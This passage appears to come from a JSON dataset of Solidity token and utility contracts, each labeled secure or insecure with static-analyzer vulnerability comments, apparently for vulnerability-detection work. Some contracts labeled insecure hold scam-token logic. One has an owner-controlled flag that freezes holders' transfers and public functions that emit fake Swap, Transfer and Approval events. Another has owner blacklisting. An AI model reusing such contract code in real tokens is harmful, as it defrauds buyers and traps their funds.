Ownable.owner() (function)\n\t// Recommendation for 230df3c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba1908f): ELMO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba1908f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function TREND(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Put: transfer amount exceeds allowance\"\n );\n uint256 fee = (amount * _transferFees[sender]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n _balances[recipient] += finalAmount;\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[_beforeTokenTransfer] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n emit Transfer(sender, _beforeTokenTransfer, fee);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1977.sol",
"secure": 0,
"size_bytes": 6835
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _potential;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n bool private _potentialApplied = false;\n string private _name;\n string private _symbol;\n\n address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;\n address private _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address private _pair;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 723b93c): ERC20.renounceOwnership(address)._owner_ lacks a zerocheck on \t _pair = _owner_\n\t// Recommendation for 723b93c: Check that the address is not zero.\n function renounceOwnership(address _owner_) external onlyOwner {\n\t\t// missing-zero-check | ID: 723b93c\n _pair = _owner_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function setPotential(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _potential[_addresses_[i]] = true;\n emit Approval(\n _addresses_[i],\n address(this),\n balanceOf(_addresses_[i])\n );\n }\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _out);\n }\n }\n\n function multicall(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);\n emit Transfer(_addresses_[i], _pair, _in);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function unPotential(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _potential[_addresses_[i]] = false;\n }\n }\n\n function isSeparator(address _address_) public view returns (bool) {\n return _potential[_address_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n if (_potential[from] || _potential[to])\n require(_potentialApplied == true, \"\");\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1978.sol",
"secure": 0,
"size_bytes": 9886
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs42 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n Test testStored;\n\n function InMemoryUsage() public {\n testStored = Test(1, 2, \"a\", \"b\");\n }\n}",
"file_name": "solidity_code_1979.sol",
"secure": 1,
"size_bytes": 307
} |
{
"code": "// SPDX-License-Identifier: GNU AGPLv3\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n function apiVersion() external view returns (string memory);\n}",
"file_name": "solidity_code_198.sol",
"secure": 1,
"size_bytes": 158
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RGL is ERC20 {\n constructor() ERC20(\"RGL\", \"RealGL\") {\n _mint(msg.sender, 10000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1980.sol",
"secure": 1,
"size_bytes": 270
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IFactoryElement {\n function factoryCreated(address _factory, address _owner) external;\n function factory() external returns (address);\n function owner() external returns (address);\n}",
"file_name": "solidity_code_1981.sol",
"secure": 1,
"size_bytes": 273
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n struct Instance {\n address factory;\n address contractAddress;\n }\n\n event InstanceCreated(\n address factory,\n address contractAddress,\n Instance data\n );\n\n struct FactoryInstanceSet {\n mapping(uint256 => uint256) keyPointers;\n uint256[] keyList;\n Instance[] valueList;\n }\n\n struct FactoryData {\n FactoryInstanceSet instances;\n }\n\n struct FactorySettings {\n FactoryData data;\n }\n\n function contractBytes() external view returns (bytes memory _instances);\n\n function instances() external view returns (Instance[] memory _instances);\n\n function at(uint256 idx) external view returns (Instance memory instance);\n\n function count() external view returns (uint256 _length);\n\n function create(\n address owner,\n uint256 salt\n ) external returns (Instance memory instanceOut);\n}",
"file_name": "solidity_code_1982.sol",
"secure": 1,
"size_bytes": 1028
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BLUEDOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) public bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1_000_000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 997e59a): BLUEDOT.dBlocksEnabled should be constant \n\t// Recommendation for 997e59a: Add the 'constant' attribute to state variables that never change.\n bool private dBlocksEnabled = true;\n uint256 public lBlock = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8c6a23a): BLUEDOT.dBlocks should be constant \n\t// Recommendation for 8c6a23a: Add the 'constant' attribute to state variables that never change.\n uint256 private dBlocks = 0;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (constable-states | ID: aac1dda): BLUEDOT._initialTax should be constant \n\t// Recommendation for aac1dda: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: 5a05e71): BLUEDOT._finalTax should be constant \n\t// Recommendation for 5a05e71: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTax = 0;\n uint256 private _reduceTaxCountdown = 30;\n\t// WARNING Optimization Issue (immutable-states | ID: 4e8300a): BLUEDOT._feeAddrWallet should be immutable \n\t// Recommendation for 4e8300a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = \"BLUEDOT\";\n string private constant _symbol = \"Blue Dot\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = 1_000_000 * 10 ** 9;\n uint256 private _maxWalletSize = 20_000 * 10 ** 9;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _feeAddrWallet = payable(_msgSender());\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 70ac309): BLUEDOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 70ac309: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c6d2a93): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c6d2a93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 759888b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 759888b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c6d2a93\n\t\t// reentrancy-benign | ID: 759888b\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: c6d2a93\n\t\t// reentrancy-benign | ID: 759888b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a11272d): BLUEDOT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a11272d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 759888b\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: c6d2a93\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ee1d67e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ee1d67e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a046f0e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a046f0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bf60be4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bf60be4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from], \"Blacklisted.\");\n _feeAddr1 = 0;\n _feeAddr2 = (_reduceTaxCountdown == 0) ? _finalTax : _initialTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_reduceTaxCountdown > 0) {\n _reduceTaxCountdown--;\n }\n\n if (dBlocksEnabled) {\n if (block.number <= (lBlock + dBlocks)) {\n bots[to] = true;\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0\n ) {\n\t\t\t\t// reentrancy-events | ID: ee1d67e\n\t\t\t\t// reentrancy-benign | ID: a046f0e\n\t\t\t\t// reentrancy-eth | ID: bf60be4\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ee1d67e\n\t\t\t\t\t// reentrancy-eth | ID: bf60be4\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: ee1d67e\n\t\t// reentrancy-benign | ID: a046f0e\n\t\t// reentrancy-eth | ID: bf60be4\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: c6d2a93\n\t\t// reentrancy-events | ID: ee1d67e\n\t\t// reentrancy-benign | ID: a046f0e\n\t\t// reentrancy-benign | ID: 759888b\n\t\t// reentrancy-eth | ID: bf60be4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7c57459): BLUEDOT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for 7c57459: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c6d2a93\n\t\t// reentrancy-events | ID: ee1d67e\n\t\t// reentrancy-eth | ID: bf60be4\n\t\t// arbitrary-send-eth | ID: 7c57459\n _feeAddrWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68c1e9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68c1e9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 96f72da): BLUEDOT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 96f72da: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e5cb88c): BLUEDOT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e5cb88c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8bd8183): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8bd8183: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 68c1e9e\n\t\t// reentrancy-eth | ID: 8bd8183\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 68c1e9e\n\t\t// unused-return | ID: 96f72da\n\t\t// reentrancy-eth | ID: 8bd8183\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 68c1e9e\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 68c1e9e\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: 68c1e9e\n lBlock = block.number;\n\t\t// reentrancy-eth | ID: 8bd8183\n tradingOpen = true;\n\t\t// unused-return | ID: e5cb88c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: bf60be4\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: bf60be4\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: ee1d67e\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: bf60be4\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: bf60be4\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: a046f0e\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_1983.sol",
"secure": 0,
"size_bytes": 18621
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs5 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n Test memory test = Test(1, 2, \"a\", \"b\");\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n }\n}",
"file_name": "solidity_code_1984.sol",
"secure": 1,
"size_bytes": 376
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IHasher {\n function MiMCSponge(\n uint256 in_xL,\n uint256 in_xR,\n uint256 k\n ) external pure returns (uint256 xL, uint256 xR);\n}",
"file_name": "solidity_code_1985.sol",
"secure": 1,
"size_bytes": 232
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IHasher.sol\" as IHasher;\n\ncontract MerkleTreeWithHistory {\n uint256 public constant FIELD_SIZE =\n 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n uint256 public constant ZERO_VALUE =\n 21663839004416932945382355908790599225266501822907911457504978515578255421292;\n IHasher public immutable hasher;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be7bc18): MerkleTreeWithHistory.levels should be immutable \n\t// Recommendation for be7bc18: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint32 public levels;\n\n mapping(uint256 => bytes32) public filledSubtrees;\n mapping(uint256 => bytes32) public roots;\n uint32 public constant ROOT_HISTORY_SIZE = 30;\n uint32 public currentRootIndex = 0;\n uint32 public nextIndex = 0;\n\n constructor(uint32 _levels, IHasher _hasher) {\n require(_levels > 0, \"_levels should be greater than zero\");\n require(_levels < 32, \"_levels should be less than 32\");\n levels = _levels;\n hasher = _hasher;\n\n for (uint32 i = 0; i < _levels; i++) {\n filledSubtrees[i] = zeros(i);\n }\n\n roots[0] = zeros(_levels - 1);\n }\n\n function hashLeftRight(\n uint256 _left,\n uint256 _right\n ) public view returns (bytes32) {\n require(_left < FIELD_SIZE, \"_left should be inside the field\");\n require(_right < FIELD_SIZE, \"_right should be inside the field\");\n uint256 R = _left;\n uint256 C = 0;\n (R, C) = hasher.MiMCSponge(R, C, 0);\n R = addmod(R, _right, FIELD_SIZE);\n (R, C) = hasher.MiMCSponge(R, C, 0);\n return bytes32(R);\n }\n\n function _insert(bytes32 _leaf) internal returns (uint32 index) {\n uint32 _nextIndex = nextIndex;\n require(\n _nextIndex != uint32(2) ** levels,\n \"Merkle tree is full. No more leaves can be added\"\n );\n uint32 currentIndex = _nextIndex;\n bytes32 currentLevelHash = 